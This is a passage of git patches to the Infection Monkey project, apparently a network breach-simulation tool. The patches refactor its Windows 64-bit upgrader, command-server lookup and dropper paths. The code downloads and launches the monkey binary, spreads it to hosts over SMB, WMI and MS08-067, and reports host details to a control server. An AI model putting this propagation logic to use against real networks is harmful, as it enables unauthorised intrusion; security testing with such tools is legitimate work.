os.subprocess.Popen(monkey_cmdline, shell=True, + stdin=None, stdout=None, stderr=None, + close_fds=True, creationflags=DETACHED_PROCESS) + diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index f9a7d80d2..f558eb8dc 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -446,6 +446,13 @@ SCHEMA = { "default": "C:\\Windows\\monkey.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, + "dropper_upgrade_win_64_temp_path": { + "title": "Temporary upgrade path for 64bit monkey on Windows", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the 64 bit monkey while" + " upgrading on a Windows machine" + }, "dropper_try_move_first": { "title": "Try to move first", "type": "boolean", From 355a75feeff0e52c8b67932bb69b6c8bccff9570 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:21:44 +0200 Subject: [PATCH 10/35] seperate the wakeup and server lookup processes --- infection_monkey/control.py | 57 ++++++++++++++++++++++--------------- infection_monkey/monkey.py | 3 +- 2 files changed, 36 insertions(+), 24 deletions(-) diff --git a/infection_monkey/control.py b/infection_monkey/control.py index e7fb4cebb..8d14766c6 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -24,10 +24,10 @@ class ControlClient(object): proxies = {} @staticmethod - def wakeup(parent=None, default_tunnel=None, has_internet_access=None): - LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) - if parent or default_tunnel: - LOG.debug("parent: %s, default_tunnel: %s" % (parent, default_tunnel)) + def wakeup(parent=None, has_internet_access=None): + if parent: + LOG.debug("parent: %s" % (parent,)) + hostname = gethostname() if not parent: parent = GUID @@ -35,31 +35,43 @@ class ControlClient(object): if has_internet_access is None: has_internet_access = check_internet_access(WormConfiguration.internet_services) + monkey = {'guid': GUID, + 'hostname': hostname, + 'ip_addresses': local_ips(), + 'description': " ".join(platform.uname()), + 'internet_access': has_internet_access, + 'config': WormConfiguration.as_dict(), + 'parent': parent} + + if ControlClient.proxies: + monkey['tunnel'] = ControlClient.proxies.get('https') + + requests.post("https://%s/api/monkey" % (WormConfiguration.current_server,), + data=json.dumps(monkey), + headers={'content-type': 'application/json'}, + verify=False, + proxies=ControlClient.proxies, + timeout=20) + + @staticmethod + def find_server(default_tunnel=None): + LOG.debug("Trying to wake up with Monkey Island servers list: %r" % WormConfiguration.command_servers) + if default_tunnel: + LOG.debug("default_tunnel: %s" % (default_tunnel,)) + for server in WormConfiguration.command_servers: try: WormConfiguration.current_server = server - monkey = {'guid': GUID, - 'hostname': hostname, - 'ip_addresses': local_ips(), - 'description': " ".join(platform.uname()), - 'internet_access': has_internet_access, - 'config': WormConfiguration.as_dict(), - 'parent': parent} - - if ControlClient.proxies: - monkey['tunnel'] = ControlClient.proxies.get('https') - debug_message = "Trying to connect to server: %s" % server if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - reply = requests.post("https://%s/api/monkey" % (server,), - data=json.dumps(monkey), - headers={'content-type': 'application/json'}, - verify=False, - proxies=ControlClient.proxies, - timeout=20) + # TODO: use different api call to check connectivity. + requests.get("https://%s/api/monkey" % (server,), + verify=False, + proxies=ControlClient.proxies) + break except Exception as exc: @@ -74,7 +86,7 @@ class ControlClient(object): proxy_address, proxy_port = proxy_find LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port)) ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port) - ControlClient.wakeup(parent=parent, has_internet_access=has_internet_access) + ControlClient.find_server() else: LOG.info("No tunnel found") @@ -234,7 +246,6 @@ class ControlClient(object): data=json.dumps(host_dict), headers={'content-type': 'application/json'}, verify=False, proxies=ControlClient.proxies) - if 200 == reply.status_code: result_json = reply.json() filename = result_json.get('filename') diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index b05d94fd4..19a456cff 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -76,7 +76,8 @@ class InfectionMonkey(object): if firewall.is_enabled(): firewall.add_firewall_rule() - ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel) + ControlClient.find_server(default_tunnel=self._default_tunnel) + ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() if not WormConfiguration.alive: From e30e9c8b83c8c4f1e2c2033260e785f7ad9a07d9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:23:54 +0200 Subject: [PATCH 11/35] Upgrade after finding server --- infection_monkey/monkey.py | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 19a456cff..6e0932ff2 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -68,15 +68,16 @@ class InfectionMonkey(object): LOG.debug("Default server: %s is already in command servers list" % self._default_server) def start(self): - if WindowsUpgrader.should_upgrade(): - WindowsUpgrader.upgrade(self._opts) - return - LOG.info("Monkey is running...") if firewall.is_enabled(): firewall.add_firewall_rule() ControlClient.find_server(default_tunnel=self._default_tunnel) + + if WindowsUpgrader.should_upgrade(): + WindowsUpgrader.upgrade(self._opts) + return + ControlClient.wakeup(parent=self._parent) ControlClient.load_control_config() From bbdebb12681ddb5f8f9df2d071ce9fcf4e648906 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:24:40 +0200 Subject: [PATCH 12/35] Fix various bugs --- infection_monkey/windows_upgrader.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 1c6049cfd..d2c5aee31 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,5 +1,6 @@ import os import struct +import subprocess import sys import monkeyfs @@ -42,12 +43,14 @@ class WindowsUpgrader(object): with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) + depth = int(opts.depth) if opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, int(opts.depth)) + opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'monkey_path': WormConfiguration.dropper_target_path} + monkey_options - monkey_process = os.subprocess.Popen(monkey_cmdline, shell=True, - stdin=None, stdout=None, stderr=None, - close_fds=True, creationflags=DETACHED_PROCESS) + 'dropper_path': WormConfiguration.dropper_upgrade_win_64_temp_path} + monkey_options + print monkey_cmdline + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, + stdin=None, stdout=None, stderr=None, + close_fds=True, creationflags=DETACHED_PROCESS) From 15b9ef1565bcb4edeeec45589c47c96b24b73578 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 16:26:14 +0200 Subject: [PATCH 13/35] Remove destination path if it exists (mostly for windows upgrade) Fix minor bug in dropper --- infection_monkey/dropper.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/infection_monkey/dropper.py b/infection_monkey/dropper.py index 3e0a8bff5..927ea7cf6 100644 --- a/infection_monkey/dropper.py +++ b/infection_monkey/dropper.py @@ -58,6 +58,9 @@ class MonkeyDrops(object): # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) + if not file_moved and os.path.exists(self._config['destination_path']): + os.remove(self._config['destination_path']) + # first try to move the file if not file_moved and WormConfiguration.dropper_try_move_first: try: @@ -105,8 +108,9 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") + depth = int(self.opts.depth) if self.opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly( - self.opts.parent, self.opts.tunnel, self.opts.server, int(self.opts.depth)) + self.opts.parent, self.opts.tunnel, self.opts.server, depth) if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options From 260607b6858dc2b98cb3ab0a1672644e221aac7c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 18:26:31 +0200 Subject: [PATCH 14/35] Use dedicated api to determine server is running --- infection_monkey/control.py | 4 +--- monkey_island/cc/resources/root.py | 7 ++++++- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/infection_monkey/control.py b/infection_monkey/control.py index 8d14766c6..12f0cb754 100644 --- a/infection_monkey/control.py +++ b/infection_monkey/control.py @@ -67,11 +67,9 @@ class ControlClient(object): if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - # TODO: use different api call to check connectivity. - requests.get("https://%s/api/monkey" % (server,), + requests.get("https://%s/api?action=is-up" % (server,), verify=False, proxies=ControlClient.proxies) - break except Exception as exc: diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 04129f257..865d99dce 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -15,7 +15,6 @@ __author__ = 'Barak' class Root(flask_restful.Resource): - @jwt_required() def get(self, action=None): if not action: action = request.args.get('action') @@ -26,21 +25,26 @@ class Root(flask_restful.Resource): return Root.reset_db() elif action == "killall": return Root.kill_all() + elif action == "is-up": + return {'is-up': True} else: return make_response(400, {'error': 'unknown action'}) @staticmethod + @jwt_required() def get_server_info(): return jsonify(ip_addresses=local_ip_addresses(), mongo=str(mongo.db), completed_steps=Root.get_completed_steps()) @staticmethod + @jwt_required() def reset_db(): [mongo.db[x].drop() for x in ['config', 'monkey', 'telemetry', 'node', 'edge', 'report']] ConfigService.init_config() return jsonify(status='OK') @staticmethod + @jwt_required() def kill_all(): mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, @@ -48,6 +52,7 @@ class Root(flask_restful.Resource): return jsonify(status='OK') @staticmethod + @jwt_required() def get_completed_steps(): is_any_exists = NodeService.is_any_monkey_exists() infection_done = NodeService.is_monkey_finished_running() From abd738acbc25faeab4775203fb59af8bc479f2c7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:01:42 +0200 Subject: [PATCH 15/35] Change config value name Add logs --- infection_monkey/config.py | 8 ++++++-- infection_monkey/example.conf | 2 +- infection_monkey/monkey.py | 1 + infection_monkey/windows_upgrader.py | 17 ++++++++++++++--- monkey_island/cc/services/config.py | 16 ++++++++-------- 5 files changed, 30 insertions(+), 14 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 633534b84..0ee609cac 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -116,10 +116,14 @@ class Configuration(object): dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' dropper_target_path = r"C:\Windows\monkey.exe" - # TODO: move and rename - dropper_upgrade_win_64_temp_path = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' + ########################### + # Windows upgrader config + ########################### + + windows_upgrader_temp_path = r"C:\Windows\monkey64.exe" + ########################### # Kill file ########################### diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 3ebe3f122..8acf8729f 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -23,7 +23,7 @@ "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, "dropper_target_path": "C:\\Windows\\monkey.exe", - "dropper_upgrade_win_64_temp_path": "C:\\Windows\\monkey64.exe", + "windows_upgrader_temp_path": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 6e0932ff2..0ca85b6b8 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -75,6 +75,7 @@ class InfectionMonkey(object): ControlClient.find_server(default_tunnel=self._default_tunnel) if WindowsUpgrader.should_upgrade(): + LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index d2c5aee31..994a17f96 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -1,8 +1,11 @@ +import logging import os import struct import subprocess import sys +import time + import monkeyfs from config import WormConfiguration from control import ControlClient @@ -11,6 +14,8 @@ from model import DROPPER_CMDLINE_WINDOWS __author__ = 'itay.mizeretz' +LOG = logging.getLogger(__name__) + if "win32" == sys.platform: from win32process import DETACHED_PROCESS else: @@ -40,7 +45,7 @@ class WindowsUpgrader(object): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.dropper_upgrade_win_64_temp_path, 'wb') as written_monkey_file: + with open(WormConfiguration.windows_upgrader_temp_path, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) depth = int(opts.depth) if opts.depth is not None else None @@ -48,9 +53,15 @@ class WindowsUpgrader(object): opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'dropper_path': WormConfiguration.dropper_upgrade_win_64_temp_path} + monkey_options + 'dropper_path': WormConfiguration.windows_upgrader_temp_path} + monkey_options - print monkey_cmdline monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) + + LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s", + monkey_process.pid, monkey_cmdline) + + time.sleep(3) + if monkey_process.poll() is not None: + LOG.warn("Seems like monkey died too soon") diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index f558eb8dc..981319db4 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -350,7 +350,14 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - } + }, + "windows_upgrader_temp_path": { + "title": "Temporary upgrade path for 64bit monkey on Windows", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", + "description": "Determines where should the dropper place the 64 bit monkey while" + " upgrading on a Windows machine" + }, } }, "classes": { @@ -446,13 +453,6 @@ SCHEMA = { "default": "C:\\Windows\\monkey.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, - "dropper_upgrade_win_64_temp_path": { - "title": "Temporary upgrade path for 64bit monkey on Windows", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the 64 bit monkey while" - " upgrading on a Windows machine" - }, "dropper_try_move_first": { "title": "Try to move first", "type": "boolean", From 784e3839595a6a0260efc5fc926bc979569d8e9d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:38:05 +0200 Subject: [PATCH 16/35] Check if should upgrade only once Don't send state-done telemetry if upgrading --- infection_monkey/monkey.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 0ca85b6b8..9e2d54fd1 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -36,6 +36,7 @@ class InfectionMonkey(object): self._default_server = None self._depth = 0 self._opts = None + self._upgrading_to_64 = False def initialize(self): LOG.info("Monkey is initializing...") @@ -75,6 +76,7 @@ class InfectionMonkey(object): ControlClient.find_server(default_tunnel=self._default_tunnel) if WindowsUpgrader.should_upgrade(): + self._upgrading_to_64 = True LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return @@ -225,7 +227,8 @@ class InfectionMonkey(object): self._keep_running = False # Signal the server (before closing the tunnel) - ControlClient.send_telemetry("state", {'done': True}) + if not self._upgrading_to_64: + ControlClient.send_telemetry("state", {'done': True}) # Close tunnel tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0] @@ -235,11 +238,11 @@ class InfectionMonkey(object): firewall.close() - if not WindowsUpgrader.should_upgrade(): + if not self._upgrading_to_64: self._singleton.unlock() if WormConfiguration.self_delete_in_cleanup \ - and -1 == sys.executable.find('python') and not WindowsUpgrader.should_upgrade(): + and -1 == sys.executable.find('python') and not self._upgrading_to_64: try: if "win32" == sys.platform: from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE From 72fd9304993feb72e94a94793a5d453512df6896 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 28 Feb 2018 19:54:10 +0200 Subject: [PATCH 17/35] unlock singleton before upgrade --- infection_monkey/monkey.py | 1 + 1 file changed, 1 insertion(+) diff --git a/infection_monkey/monkey.py b/infection_monkey/monkey.py index 9e2d54fd1..a38d04dde 100644 --- a/infection_monkey/monkey.py +++ b/infection_monkey/monkey.py @@ -77,6 +77,7 @@ class InfectionMonkey(object): if WindowsUpgrader.should_upgrade(): self._upgrading_to_64 = True + self._singleton.unlock() LOG.info("32bit monkey running on 64bit Windows. Upgrading.") WindowsUpgrader.upgrade(self._opts) return From ee23703bfa4b6d48ee55959b2132f78a2382c94b Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:05:43 +0200 Subject: [PATCH 18/35] Monkey now uses different names for 32,64bit on windows. No need to use dropper or rename moneky --- infection_monkey/config.py | 11 +++++------ infection_monkey/example.conf | 4 ++-- infection_monkey/exploit/rdpgrinder.py | 4 ++-- infection_monkey/exploit/smbexec.py | 6 +++--- infection_monkey/exploit/win_ms08_067.py | 8 ++++---- infection_monkey/exploit/wmiexec.py | 6 +++--- infection_monkey/windows_upgrader.py | 10 +++++----- monkey_island/cc/services/config.py | 21 ++++++++++----------- 8 files changed, 34 insertions(+), 36 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 0ee609cac..42140172f 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -9,6 +9,7 @@ from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange +from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -115,14 +116,12 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = '/bin/sh' - dropper_target_path = r"C:\Windows\monkey.exe" + dropper_target_path_win_32 = r"C:\Windows\monkey32.exe" + dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' - ########################### - # Windows upgrader config - ########################### - - windows_upgrader_temp_path = r"C:\Windows\monkey64.exe" + def get_dropper_target_path_win(self): + return self.dropper_target_path_win_64 if WindowsUpgrader.is_64bit_python() else self.dropper_target_path_win_32 ########################### # Kill file diff --git a/infection_monkey/example.conf b/infection_monkey/example.conf index 8acf8729f..9cc036981 100644 --- a/infection_monkey/example.conf +++ b/infection_monkey/example.conf @@ -22,8 +22,8 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path": "C:\\Windows\\monkey.exe", - "windows_upgrader_temp_path": "C:\\Windows\\monkey64.exe", + "dropper_target_path_win_32": "C:\\Windows\\monkey32.exe", + "dropper_target_path_win_64": "C:\\Windows\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index 606f44f90..fb4d0f32d 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter): if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.get_dropper_target_path_win(), 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.dropper_target_path, + 'monkey_path': self._config.get_dropper_target_path_win(), 'http_path': http_path, 'parameters': cmdline} user_password_pairs = self._config.get_exploit_user_password_pairs() diff --git a/infection_monkey/exploit/smbexec.py b/infection_monkey/exploit/smbexec.py index b76a7bce6..717810bf9 100644 --- a/infection_monkey/exploit/smbexec.py +++ b/infection_monkey/exploit/smbexec.py @@ -57,7 +57,7 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), user, password, lm_hash, @@ -85,9 +85,9 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/win_ms08_067.py b/infection_monkey/exploit/win_ms08_067.py index 51393ea69..b29012d47 100644 --- a/infection_monkey/exploit/win_ms08_067.py +++ b/infection_monkey/exploit/win_ms08_067.py @@ -214,7 +214,7 @@ class Ms08_067_Exploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), self._config.ms08_067_remote_user_add, self._config.ms08_067_remote_user_pass) @@ -223,7 +223,7 @@ class Ms08_067_Exploiter(HostExploiter): for password in self._config.exploit_password_list: remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), "Administrator", password) if remote_full_path: @@ -233,9 +233,9 @@ class Ms08_067_Exploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path.lower(): + if remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/exploit/wmiexec.py b/infection_monkey/exploit/wmiexec.py index 1a77a7347..0db4be6ef 100644 --- a/infection_monkey/exploit/wmiexec.py +++ b/infection_monkey/exploit/wmiexec.py @@ -77,7 +77,7 @@ class WmiExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file(self.host, src_path, - self._config.dropper_target_path, + self._config.get_dropper_target_path_win(), user, password, lm_hash, @@ -88,9 +88,9 @@ class WmiExploiter(HostExploiter): wmi_connection.close() return False # execute the remote dropper in case the path isn't final - elif remote_full_path.lower() != self._config.dropper_target_path.lower(): + elif remote_full_path.lower() != self._config.get_dropper_target_path_win().lower(): cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path) + build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.get_dropper_target_path_win()) else: cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) diff --git a/infection_monkey/windows_upgrader.py b/infection_monkey/windows_upgrader.py index 994a17f96..c63b64524 100644 --- a/infection_monkey/windows_upgrader.py +++ b/infection_monkey/windows_upgrader.py @@ -10,7 +10,7 @@ import monkeyfs from config import WormConfiguration from control import ControlClient from exploit.tools import build_monkey_commandline_explicitly -from model import DROPPER_CMDLINE_WINDOWS +from model import MONKEY_CMDLINE_WINDOWS __author__ = 'itay.mizeretz' @@ -45,15 +45,15 @@ class WindowsUpgrader(object): monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: monkey_bin = downloaded_monkey_file.read() - with open(WormConfiguration.windows_upgrader_temp_path, 'wb') as written_monkey_file: + with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file: written_monkey_file.write(monkey_bin) depth = int(opts.depth) if opts.depth is not None else None monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, depth, WormConfiguration.dropper_target_path) + opts.parent, opts.tunnel, opts.server, depth) - monkey_cmdline = DROPPER_CMDLINE_WINDOWS % { - 'dropper_path': WormConfiguration.windows_upgrader_temp_path} + monkey_options + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % { + 'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 981319db4..3001ed768 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -350,14 +350,7 @@ SCHEMA = { "type": "integer", "default": 60, "description": "Time to keep tunnel open before going down after last exploit (in seconds)" - }, - "windows_upgrader_temp_path": { - "title": "Temporary upgrade path for 64bit monkey on Windows", - "type": "string", - "default": "C:\\Windows\\monkey64.exe", - "description": "Determines where should the dropper place the 64 bit monkey while" - " upgrading on a Windows machine" - }, + } } }, "classes": { @@ -447,10 +440,16 @@ SCHEMA = { "default": "/tmp/monkey", "description": "Determines where should the dropper place the monkey on a Linux machine" }, - "dropper_target_path": { - "title": "Dropper target path on Windows", + "dropper_target_path_win_32": { + "title": "Dropper target path on Windows (32bit)", "type": "string", - "default": "C:\\Windows\\monkey.exe", + "default": "C:\\Windows\\monkey32.exe", + "description": "Determines where should the dropper place the monkey on a Windows machine" + }, + "dropper_target_path_win_64": { + "title": "Dropper target path on Windows (64bit)", + "type": "string", + "default": "C:\\Windows\\monkey64.exe", "description": "Determines where should the dropper place the monkey on a Windows machine" }, "dropper_try_move_first": { From a37ef027727c3fd9fb61f9344a99115e058d6520 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:21:01 +0200 Subject: [PATCH 19/35] Fix mutual import --- infection_monkey/config.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index 42140172f..dfd349473 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -1,15 +1,15 @@ import os +import struct import sys import types import uuid from abc import ABCMeta from itertools import product -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ +from exploit import WmiExploiter, SmbExploiter, SSHExploiter, ShellShockExploiter, \ SambaCryExploiter, ElasticGroovyExploiter from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger from network.range import FixedRange -from windows_upgrader import WindowsUpgrader __author__ = 'itamar' @@ -120,8 +120,12 @@ class Configuration(object): dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' + @staticmethod + def is_64_bit_python(): + return struct.calcsize("P") == 8 + def get_dropper_target_path_win(self): - return self.dropper_target_path_win_64 if WindowsUpgrader.is_64bit_python() else self.dropper_target_path_win_32 + return self.dropper_target_path_win_64 if self.is_64_bit_python() else self.dropper_target_path_win_32 ########################### # Kill file From 450f3ed3be59c2f59d6cf268963c2beffd5acc4a Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 4 Mar 2018 17:50:35 +0200 Subject: [PATCH 20/35] Use 32bit as default path --- infection_monkey/config.py | 7 ------- infection_monkey/exploit/rdpgrinder.py | 4 ++-- infection_monkey/exploit/smbexec.py | 6 +++--- infection_monkey/exploit/win_ms08_067.py | 8 ++++---- infection_monkey/exploit/wmiexec.py | 6 +++--- infection_monkey/monkey.py | 2 +- 6 files changed, 13 insertions(+), 20 deletions(-) diff --git a/infection_monkey/config.py b/infection_monkey/config.py index dfd349473..404dc194e 100644 --- a/infection_monkey/config.py +++ b/infection_monkey/config.py @@ -120,13 +120,6 @@ class Configuration(object): dropper_target_path_win_64 = r"C:\Windows\monkey64.exe" dropper_target_path_linux = '/tmp/monkey' - @staticmethod - def is_64_bit_python(): - return struct.calcsize("P") == 8 - - def get_dropper_target_path_win(self): - return self.dropper_target_path_win_64 if self.is_64_bit_python() else self.dropper_target_path_win_32 - ########################### # Kill file ########################### diff --git a/infection_monkey/exploit/rdpgrinder.py b/infection_monkey/exploit/rdpgrinder.py index fb4d0f32d..d95bd74ba 100644 --- a/infection_monkey/exploit/rdpgrinder.py +++ b/infection_monkey/exploit/rdpgrinder.py @@ -278,11 +278,11 @@ class RdpExploiter(HostExploiter): if self._config.rdp_use_vbs_download: command = RDP_CMDLINE_HTTP_VBS % { - 'monkey_path': self._config.get_dropper_target_path_win(), + 'monkey_path': self._config.dropper_target_path_win_32, 'http_path': http_path, 'parameters': cmdline} else: command = RDP_CMDLINE_HTTP_BITS % { - 'monkey_path': self._config.get_dropper_target_path_win(), + 'monkey_path': 